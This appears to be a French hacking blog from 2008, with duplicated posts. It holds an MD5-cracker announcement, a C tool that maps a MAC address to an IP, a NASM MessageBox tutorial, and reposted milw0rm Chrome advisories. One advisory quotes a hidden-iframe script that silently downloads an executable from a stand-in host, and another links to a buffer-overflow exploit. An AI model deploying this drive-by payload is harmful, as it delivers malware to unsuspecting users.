Merci a MetriK pour la nouvelle bannière, je link son Portfolio, qui est encore en cours de construction.
Voila voila :p
vendredi 26 septembre 2008
MD5 Online Cracker - By Tr00ps
Un tool de recherche de correspondances MD5/plein-text codé par mon pote Tr00ps.
Le programme recherche le hash soumis sur une multitude de bases de données.
- Cracking par listes
- Export du résultat
- ...
Une nouvelle version implémentant la gestion des bases de données par l'utilisateur pour bientôt? :p
MD5 Online Cracker Download
Le programme recherche le hash soumis sur une multitude de bases de données.
- Cracking par listes
- Export du résultat
- ...
Une nouvelle version implémentant la gestion des bases de données par l'utilisateur pour bientôt? :p
MD5 Online Cracker Download
ARP Reverse Like
Un petit outil écrit en C pour faire une "sorte" de Reverse ARP...
EDIT: ha hé heu oui, faut linker avec : iphlpapi.lib ws2_32.lib :p
// - Reverse ARP Like Tool -
// - by 5m0k3 -
#include "stdafx.h"
#include "string.h"
#include <stdlib.h>
#include <stdio.h>
#include <atlbase.h>
#include <shellapi.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <icmpapi.h>
typedef struct {
DWORD Address; // Replying address
unsigned long Status; // Reply status
unsigned long RoundTripTime; // RTT in milliseconds
unsigned short DataSize; // Echo data size
unsigned short Reserved; // Reserved for system use
void *Data; // Pointer to the echo data
IP_OPTION_INFORMATION Options; // Reply options
} IP_ECHO_REPLY, * PIP_ECHO_REPLY;
void getIP(char * ip, int bufsize)
{
struct sockaddr_in sAddIn;
struct hostent *sHostent;
char FAR buffer[ 64 ] = "";
WORD wVersionRequested;
WSADATA wsaData;
int iErr = 0;
int i = 0 ;
// Version de Winsock
wVersionRequested = MAKEWORD( 1, 1 );
// On démarre Winsock
iErr = WSAStartup( wVersionRequested, &wsaData );
// On récupère le nom de la machine
gethostname( buffer, sizeof( buffer ) );
sHostent = gethostbyname( buffer );
while( ( sHostent->h_addr_list[ i + 1 ] ) != NULL )
i++;
memcpy( &sAddIn.sin_addr.s_addr, sHostent->h_addr_list[ i ], sHostent->h_length );
strncpy(ip,inet_ntoa( sAddIn.sin_addr ),bufsize);
// On arrête Winsock
WSACleanup( );
}
int ping(char * Ip1)
{
SOCKADDR_IN sin;
DWORD Result1;
int ret=0;
// Fonction de convertion d'une chaine de caractère en structure IPv4
sin.sin_addr.s_addr = inet_addr(Ip1);
// On vérifie que les pointeurs vers les fonction ICMP ne sont pas nulls
if ((IcmpCreateFile == 0) || (IcmpSendEcho == 0))
{
ret=-1;
goto error;
}
// Initialise le service de PING
HANDLE hIP = IcmpCreateFile();
if (hIP == INVALID_HANDLE_VALUE)
{
ret=-2;
goto error;
}
// Construction du paquet ICMP
char acPingBuffer[1];
memset(acPingBuffer, '\xAA', sizeof(acPingBuffer));
PIP_ECHO_REPLY pIpe = (PIP_ECHO_REPLY)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer));
if (pIpe == 0)
{
ret=-3;
goto error;
}
pIpe->Data = acPingBuffer;
pIpe->DataSize = sizeof(acPingBuffer);
// Envoi du paquet
Result1 = IcmpSendEcho(hIP,sin.sin_addr.S_un.S_addr,acPingBuffer, sizeof(acPingBuffer), NULL, pIpe,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer), 1);
GlobalFree(pIpe);
error:
return ret;
}
void getIPfromMAC(char * searchedMAC)
{
DWORD i;
PMIB_IPNETTABLE pIpNetTable = NULL;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
DWORD dwResult;
char bufferMAC[100];
// On récupère la taille du cache ARP
dwResult = GetIpNetTable(NULL, &dwSize, 0);
if (dwResult == ERROR_INSUFFICIENT_BUFFER)
{
pIpNetTable = (MIB_IPNETTABLE *) malloc (dwSize);
}
// On récupère le cache ARP
if ((dwRetVal = GetIpNetTable(pIpNetTable, &dwSize, 0))== NO_ERROR)
{
if (pIpNetTable->dwNumEntries > 0)
{
// On boucle sur la liste récupérée
for (i=0; i<pIpNetTable->dwNumEntries; i++)
{
// On construit une chaine de caractères contenant l'adresse MAC de l'entrée en cours, pour la comparaison
_snprintf(bufferMAC,100,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",pIpNetTable->table[i].bPhysAddr[0],pIpNetTable->table[i].bPhysAddr[1],pIpNetTable->table[i].bPhysAddr[2],pIpNetTable->table[i].bPhysAddr[3],pIpNetTable->table[i].bPhysAddr[4],pIpNetTable->table[i].bPhysAddr[5]);
if(strcmp(bufferMAC,searchedMAC)==0)
{
printf("\n >>> %s is at %s :} <<<\n",searchedMAC,inet_ntoa(*(struct in_addr *)&pIpNetTable->table[i].dwAddr));
exit(0);
}
}
}
}
}
void parse(char * ip,int * tab)
// Parse une IP (chaine) en tableau d'int
{
char buffer[4];
unsigned long i=0,j=0,k=0;
while(i<4)
{
memset(buffer,0,4);
while((ip[j]!='.')&&(j<strlen(ip)&&(k<4)))
{
buffer[k]=ip[j];
j++;
k++;
}
tab[i]=atoi(buffer);
k=0;
j++;
i++;
}
}
int main(int argc, char * argv[])
{
if(argc<4)
{
printf("\nUsage: %s <Mac To Find>xx:xx:xx:xx:xx:xx <Ip Range Start> <Ip Range End>\n",argv[0]);
exit(0);
}
int RangeCurrent[4];
int RangeStart[4];
int RangeEnd[4];
char currentIP[100];
char buff[20],buff2[20],buff3[20],buff4[20];
parse(argv[2],RangeStart);
parse(argv[3],RangeEnd);
memcpy(RangeCurrent,RangeStart,sizeof(int)*4);
while(RangeCurrent[0]<=RangeEnd[0])
{
while(RangeCurrent[1]<=RangeEnd[1])
{
while(RangeCurrent[2]<=RangeEnd[2])
{
while (RangeCurrent[3]<255)
{
itoa(RangeCurrent[0],buff,10);
itoa(RangeCurrent[1],buff2,10);
itoa(RangeCurrent[2],buff3,10);
itoa(RangeCurrent[3],buff4,10);
// snprintf au lieu _snprintf si on est pas sous Visual Studio...
_snprintf(currentIP,100,"%s.%s.%s.%s",buff,buff2,buff3,buff4);
ping(currentIP);
getIPfromMAC(argv[1]);
if((RangeCurrent[2]==RangeEnd[2])&&(RangeCurrent[3]==RangeEnd[3])&&(RangeCurrent[1]==RangeEnd[1])&&(RangeCurrent[0]==RangeEnd[0]))
{
break;
}
RangeCurrent[3]++;
}
RangeCurrent[3]=1;
RangeCurrent[2]++;
}
RangeCurrent[2]=1;
RangeCurrent[1]++;
}
RangeCurrent[1]=1;
RangeCurrent[0]++;
}
return 0;
}
EDIT: ha hé heu oui, faut linker avec : iphlpapi.lib ws2_32.lib :p
// - Reverse ARP Like Tool -
// - by 5m0k3 -
#include "stdafx.h"
#include "string.h"
#include <stdlib.h>
#include <stdio.h>
#include <atlbase.h>
#include <shellapi.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <icmpapi.h>
typedef struct {
DWORD Address; // Replying address
unsigned long Status; // Reply status
unsigned long RoundTripTime; // RTT in milliseconds
unsigned short DataSize; // Echo data size
unsigned short Reserved; // Reserved for system use
void *Data; // Pointer to the echo data
IP_OPTION_INFORMATION Options; // Reply options
} IP_ECHO_REPLY, * PIP_ECHO_REPLY;
void getIP(char * ip, int bufsize)
{
struct sockaddr_in sAddIn;
struct hostent *sHostent;
char FAR buffer[ 64 ] = "";
WORD wVersionRequested;
WSADATA wsaData;
int iErr = 0;
int i = 0 ;
// Version de Winsock
wVersionRequested = MAKEWORD( 1, 1 );
// On démarre Winsock
iErr = WSAStartup( wVersionRequested, &wsaData );
// On récupère le nom de la machine
gethostname( buffer, sizeof( buffer ) );
sHostent = gethostbyname( buffer );
while( ( sHostent->h_addr_list[ i + 1 ] ) != NULL )
i++;
memcpy( &sAddIn.sin_addr.s_addr, sHostent->h_addr_list[ i ], sHostent->h_length );
strncpy(ip,inet_ntoa( sAddIn.sin_addr ),bufsize);
// On arrête Winsock
WSACleanup( );
}
int ping(char * Ip1)
{
SOCKADDR_IN sin;
DWORD Result1;
int ret=0;
// Fonction de convertion d'une chaine de caractère en structure IPv4
sin.sin_addr.s_addr = inet_addr(Ip1);
// On vérifie que les pointeurs vers les fonction ICMP ne sont pas nulls
if ((IcmpCreateFile == 0) || (IcmpSendEcho == 0))
{
ret=-1;
goto error;
}
// Initialise le service de PING
HANDLE hIP = IcmpCreateFile();
if (hIP == INVALID_HANDLE_VALUE)
{
ret=-2;
goto error;
}
// Construction du paquet ICMP
char acPingBuffer[1];
memset(acPingBuffer, '\xAA', sizeof(acPingBuffer));
PIP_ECHO_REPLY pIpe = (PIP_ECHO_REPLY)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer));
if (pIpe == 0)
{
ret=-3;
goto error;
}
pIpe->Data = acPingBuffer;
pIpe->DataSize = sizeof(acPingBuffer);
// Envoi du paquet
Result1 = IcmpSendEcho(hIP,sin.sin_addr.S_un.S_addr,acPingBuffer, sizeof(acPingBuffer), NULL, pIpe,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer), 1);
GlobalFree(pIpe);
error:
return ret;
}
void getIPfromMAC(char * searchedMAC)
{
DWORD i;
PMIB_IPNETTABLE pIpNetTable = NULL;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
DWORD dwResult;
char bufferMAC[100];
// On récupère la taille du cache ARP
dwResult = GetIpNetTable(NULL, &dwSize, 0);
if (dwResult == ERROR_INSUFFICIENT_BUFFER)
{
pIpNetTable = (MIB_IPNETTABLE *) malloc (dwSize);
}
// On récupère le cache ARP
if ((dwRetVal = GetIpNetTable(pIpNetTable, &dwSize, 0))== NO_ERROR)
{
if (pIpNetTable->dwNumEntries > 0)
{
// On boucle sur la liste récupérée
for (i=0; i<pIpNetTable->dwNumEntries; i++)
{
// On construit une chaine de caractères contenant l'adresse MAC de l'entrée en cours, pour la comparaison
_snprintf(bufferMAC,100,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",pIpNetTable->table[i].bPhysAddr[0],pIpNetTable->table[i].bPhysAddr[1],pIpNetTable->table[i].bPhysAddr[2],pIpNetTable->table[i].bPhysAddr[3],pIpNetTable->table[i].bPhysAddr[4],pIpNetTable->table[i].bPhysAddr[5]);
if(strcmp(bufferMAC,searchedMAC)==0)
{
printf("\n >>> %s is at %s :} <<<\n",searchedMAC,inet_ntoa(*(struct in_addr *)&pIpNetTable->table[i].dwAddr));
exit(0);
}
}
}
}
}
void parse(char * ip,int * tab)
// Parse une IP (chaine) en tableau d'int
{
char buffer[4];
unsigned long i=0,j=0,k=0;
while(i<4)
{
memset(buffer,0,4);
while((ip[j]!='.')&&(j<strlen(ip)&&(k<4)))
{
buffer[k]=ip[j];
j++;
k++;
}
tab[i]=atoi(buffer);
k=0;
j++;
i++;
}
}
int main(int argc, char * argv[])
{
if(argc<4)
{
printf("\nUsage: %s <Mac To Find>xx:xx:xx:xx:xx:xx <Ip Range Start> <Ip Range End>\n",argv[0]);
exit(0);
}
int RangeCurrent[4];
int RangeStart[4];
int RangeEnd[4];
char currentIP[100];
char buff[20],buff2[20],buff3[20],buff4[20];
parse(argv[2],RangeStart);
parse(argv[3],RangeEnd);
memcpy(RangeCurrent,RangeStart,sizeof(int)*4);
while(RangeCurrent[0]<=RangeEnd[0])
{
while(RangeCurrent[1]<=RangeEnd[1])
{
while(RangeCurrent[2]<=RangeEnd[2])
{
while (RangeCurrent[3]<255)
{
itoa(RangeCurrent[0],buff,10);
itoa(RangeCurrent[1],buff2,10);
itoa(RangeCurrent[2],buff3,10);
itoa(RangeCurrent[3],buff4,10);
// snprintf au lieu _snprintf si on est pas sous Visual Studio...
_snprintf(currentIP,100,"%s.%s.%s.%s",buff,buff2,buff3,buff4);
ping(currentIP);
getIPfromMAC(argv[1]);
if((RangeCurrent[2]==RangeEnd[2])&&(RangeCurrent[3]==RangeEnd[3])&&(RangeCurrent[1]==RangeEnd[1])&&(RangeCurrent[0]==RangeEnd[0]))
{
break;
}
RangeCurrent[3]++;
}
RangeCurrent[3]=1;
RangeCurrent[2]++;
}
RangeCurrent[2]=1;
RangeCurrent[1]++;
}
RangeCurrent[1]=1;
RangeCurrent[0]++;
}
return 0;
}
lundi 22 septembre 2008
NASM Pt.2
Un peu de zik spéciale c0der de l'extrème:
TTC - J'ai pas sommeil
Et un petit bout de code en Assembleur NASM, pour afficher une Message Box sous Win (et surtout pour s'initier un peu a l'API Windobe):
; Constantes et structures prédéfinies pour l'utilisation de l'API Windows
%include "win32n.inc"
; Librairies
; On importe ExitProcess depuis kernel32.dll
; et MessageBoxA depuis user32.dll
EXTERN ExitProcess
IMPORT ExitProcess kernel32.dll
EXTERN MessageBoxA
IMPORT MessageBoxA user32.dll
; Le segment des données:
segment .data USE32
MessageBox_TITRE db "Belle MessageBox",0
MessageBox_CONTENU db "5m0k3 c'est mon keupin, il roxX",0
ErrorCode dd 0
; Le segment de code:
segment .code USE32
;Début du code
..start:
;On pousse les arguments sur la pile (à l'envers hein...) avant d'appeller MessageBoxA
;int MessageBox(
; HWND hWnd,
; LPCTSTR lpText,
; LPCTSTR lpCaption,
; UINT uType
;);
push dword MB_ICONINFORMATION + MB_OKCANCEL ; les Boutons : http://bob.developpez.com/tutapiwin/article_19.php
push dword MessageBox_TITRE ; Titre
push dword MessageBox_CONTENU ; Contenu
push dword 0 ; Handle du popa, ici il n'y en a pas.
call [MessageBoxA]
;EAX contient une valeur représentant quel bouton à été cliqué
; On pousse le code d'erreur de retour (ici return 0;)
push dword ErrorCode
call [ExitProcess]
On aura besoin de ca : http://rs1.szif.hu/~tomcat/win32/win32n.zip
Et des binaires NASM pour Windows : http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47034&release_id=625081
Les librairies kernel32.lib et user32.lib pourront être trouvées en installant MASM : http://www.masm32.com/masmdl.htm dans le dossier C:\masm32\lib
Va maintenant falloir assembler tout ça :
D0ne! =)
TTC - J'ai pas sommeil
Et un petit bout de code en Assembleur NASM, pour afficher une Message Box sous Win (et surtout pour s'initier un peu a l'API Windobe):
; Constantes et structures prédéfinies pour l'utilisation de l'API Windows
%include "win32n.inc"
; Librairies
; On importe ExitProcess depuis kernel32.dll
; et MessageBoxA depuis user32.dll
EXTERN ExitProcess
IMPORT ExitProcess kernel32.dll
EXTERN MessageBoxA
IMPORT MessageBoxA user32.dll
; Le segment des données:
segment .data USE32
MessageBox_TITRE db "Belle MessageBox",0
MessageBox_CONTENU db "5m0k3 c'est mon keupin, il roxX",0
ErrorCode dd 0
; Le segment de code:
segment .code USE32
;Début du code
..start:
;On pousse les arguments sur la pile (à l'envers hein...) avant d'appeller MessageBoxA
;int MessageBox(
; HWND hWnd,
; LPCTSTR lpText,
; LPCTSTR lpCaption,
; UINT uType
;);
push dword MB_ICONINFORMATION + MB_OKCANCEL ; les Boutons : http://bob.developpez.com/tutapiwin/article_19.php
push dword MessageBox_TITRE ; Titre
push dword MessageBox_CONTENU ; Contenu
push dword 0 ; Handle du popa, ici il n'y en a pas.
call [MessageBoxA]
;EAX contient une valeur représentant quel bouton à été cliqué
; On pousse le code d'erreur de retour (ici return 0;)
push dword ErrorCode
call [ExitProcess]
On aura besoin de ca : http://rs1.szif.hu/~tomcat/win32/win32n.zip
Et des binaires NASM pour Windows : http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47034&release_id=625081
Les librairies kernel32.lib et user32.lib pourront être trouvées en installant MASM : http://www.masm32.com/masmdl.htm dans le dossier C:\masm32\lib
Va maintenant falloir assembler tout ça :
D0ne! =)
mercredi 10 septembre 2008
mardi 9 septembre 2008
Comme promis...
... Voila la trad que j'annonçais hier : ICI et je remercie les personnes qui m'ont aidé (ma dulcinée et sa moman et ce cher gros sac de zours). Pour rappel, voila le paper original : http://milw0rm.com/papers/212.
J'en profite pour parler un peu d' Other-Project.net, un blog que je tiens avec Tely et quelques amis (Tr00ps, ...). Il n'y a pas grand chose, on avance doucement. A noter une jolie liste d'ebooks quand même : ICI.
J'en profite pour parler un peu d' Other-Project.net, un blog que je tiens avec Tely et quelques amis (Tr00ps, ...). Il n'y a pas grand chose, on avance doucement. A noter une jolie liste d'ebooks quand même : ICI.
lundi 8 septembre 2008
Niouz
Hello, j'ai pas trop eu le temps de poster dernièrement, la faute à qui?
Il s'est néanmoins passé plein de choses que ce soit sur la planète terre ou dans ma vie, je sais bien que le 2eme, tout le monde s'en tape. Brayph:
Google sort un navigateur, et ca commence pas mal:
***************************************************************************
Author: nerex
E-mail: nerex[at]live[dot]com
Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.
This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.
Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>
# milw0rm.com [2008-09-03]
PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.
Here is Description for this Vuln :
· Type of Issue : Buffer Overflow.
· Affected Software : Google Chrome 0.2.149.27.
· Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
· Impact: Remote code execution.
· Rating : Critical .
· Description :
The vulnerability is caused due to a boundary error when handling the “SaveAs” function. On saving
a malicious page with an overly long title ( tag in HTML), the program causes a stack-based overflow and makes
it possible for attackers to execute arbitrary code on users’ systems.
· How an attacker could exploit the issue :
To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code.
He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would
be executed, giving him the privilege to make use of the affected system.
· Discoverer : Le Duc Anh - SVRT - Bkis
· About SVRT :
SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes
in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols
and embedded systems…
· Website : security.bkis.vn
· Mail : svrt[at]bkav.com.vn
http://milw0rm.com/sploits/2008-chrome.tgz
# milw0rm.com [2008-09-05]
Un paper plutôt intéressant, sur le bypassing de l'ASLR sous kernel 2.6.17-20 : Ici
Un autre qui démontre une injection SQL sous SyBase mais surtout le bypass de mod_security : Ici en allemand ; Mais vu que ma copine gère vraiment, telle une déesse, je vous balance une trad d'ici un moment.
Sinon je referais sûrement bientôt un truc sur Nasm (ou pitete Masm why not?), dès que j'en aurais le temps / l'envie.
Il s'est néanmoins passé plein de choses que ce soit sur la planète terre ou dans ma vie, je sais bien que le 2eme, tout le monde s'en tape. Brayph:
Google sort un navigateur, et ca commence pas mal:
***************************************************************************
Author: nerex
E-mail: nerex[at]live[dot]com
Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.
This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.
Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>
# milw0rm.com [2008-09-03]
PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.
Here is Description for this Vuln :
· Type of Issue : Buffer Overflow.
· Affected Software : Google Chrome 0.2.149.27.
· Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
· Impact: Remote code execution.
· Rating : Critical .
· Description :
The vulnerability is caused due to a boundary error when handling the “SaveAs” function. On saving
a malicious page with an overly long title (
it possible for attackers to execute arbitrary code on users’ systems.
· How an attacker could exploit the issue :
To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code.
He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would
be executed, giving him the privilege to make use of the affected system.
· Discoverer : Le Duc Anh - SVRT - Bkis
· About SVRT :
SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes
in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols
and embedded systems…
· Website : security.bkis.vn
· Mail : svrt[at]bkav.com.vn
http://milw0rm.com/sploits/2008-chrome.tgz
# milw0rm.com [2008-09-05]
Un paper plutôt intéressant, sur le bypassing de l'ASLR sous kernel 2.6.17-20 : Ici
Un autre qui démontre une injection SQL sous SyBase mais surtout le bypass de mod_security : Ici en allemand ; Mais vu que ma copine gère vraiment, telle une déesse, je vous balance une trad d'ici un moment.
Sinon je referais sûrement bientôt un truc sur Nasm (ou pitete Masm why not?), dès que j'en aurais le temps / l'envie.
Inscription à :
Articles (Atom)